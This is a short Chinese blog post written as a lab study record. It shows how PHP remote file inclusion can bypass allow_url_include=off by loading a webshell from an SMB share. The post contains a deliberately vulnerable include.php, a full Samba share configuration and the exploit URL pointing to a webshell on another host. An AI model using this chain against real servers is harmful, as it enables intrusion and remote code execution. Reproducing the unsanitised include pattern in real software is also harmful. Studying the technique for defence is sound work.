RFI 绕过 getshell

在Seebug看到RFI 绕过 URL 包含限制 getshell这篇文章,本地调试学习记录一波。

主要描述php在配置如下时,如何使用SMB协议在局域网内突破远程文件包含getshell。

allow_url_fopen=off
allow_url_include=off

通过上述配置,PHP不加载远程HTTP或FTP URL,进而防止远程文件包含攻击。但即使allow_url_includeallow_url_fopen都设置为off,PHP也不会阻止SMB URL加载。

本地进行简单的测试
include.php

<?php
$file=$_GET['file'];
include($file);
?>
  • 在远程服务器上安装SAMBA服务器:
apt-get install samba
  • 创建SMB共享目录:
mkdir /var/www/html/pub/ 
  • 配置新创建的SMB共享目录的权限:
chmod 0555 /var/www/html/pub/
chown -R nobody:nogroup /var/www/html/pub/

修改SAMBA服务器配置文件(/etc/samba/smb.conf)内容如下:

[global]
workgroup = WORKGROUP
server string = Samba Server %v
netbios name = indishell-lab
security = user
map to guest = bad user
name resolve order = bcast host
dns proxy = no
bind interfaces only = yes

[ethan]
path = /var/www/html/pub
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555
force user = nobody
  • 重新启动SAMBA服务器
service smbd restart

同时在/var/www/html/pub/文件夹中放置webshell
通过访问file=\\192.168.6.131\ethan\ant.php成功包含远程shell

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。